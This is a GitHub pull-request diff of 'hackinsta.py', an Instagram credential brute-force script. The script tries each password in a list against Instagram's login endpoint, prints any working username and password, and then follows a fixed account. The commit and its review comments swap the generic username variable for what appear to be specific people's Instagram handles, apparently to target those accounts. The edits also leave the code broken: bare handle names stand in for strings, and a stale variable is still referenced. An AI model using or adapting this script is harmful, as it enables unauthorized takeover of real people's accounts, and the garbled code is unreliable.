Skip to content
Open
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 13 additions & 13 deletions hackinsta.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,17 +17,17 @@


def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nur.hh

r = requests.get('https://www.instagram.com/nur.hh%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':username,'id':fUserID}
return {'username':nurrhome,'id':fUserID}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

return {'username':anahitarajmohan,'id':fUserID}

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lamiaa.acarr

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

_senemyrsl



def Login(username,password):
def Login(nurhhome,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
Expand All @@ -49,7 +49,7 @@ def Login(username,password):
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':username, 'password':password}
data = {'username':nurrhome, 'password':password}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

data = {'username':anahitarajmohan, 'password':password}

r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
Expand All @@ -67,22 +67,22 @@ def Login(username,password):



def follow(sess, username):
username = userExists(username)
def follow(sess, nurrhome):
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

def follow(sess, anahitarajmohan):

nurrhome = userExists(nurrhome)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

anahitarajmohan = userExists(anahitarajmohan)

if (username == False):
return
else:
userID = username['id']
userID = nurrhome['id']
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

	userID =anahitarajmohan['id']

followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)


username = str(input('Please enter a username: '))
username = userExists(username)
if (username == False):
nurrhome = str(input('Please enter a username: '))
nurrhome = userExists(nurrhome)
if (nurrhome == False):
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if (anahitarajmohan == False):

exit()
else:
username = username['username']
nurrhome = nurrhome['username']
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

anahitarajmohan = anahitarajmohan['username']




Expand All @@ -91,9 +91,9 @@ def follow(sess, username):

for i in range(len(passwords)):
password = passwords[i]
sess = Login(username,password)
sess = Login(nurrhome,password)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

sess = Login(anahitarajmohan,password)

if (sess):
print ('Login success %s' % [username,password])
print ('Login success %s' % [nurrhome,password])

#because i am cool
follow(sess,'avr_amit')
Expand Down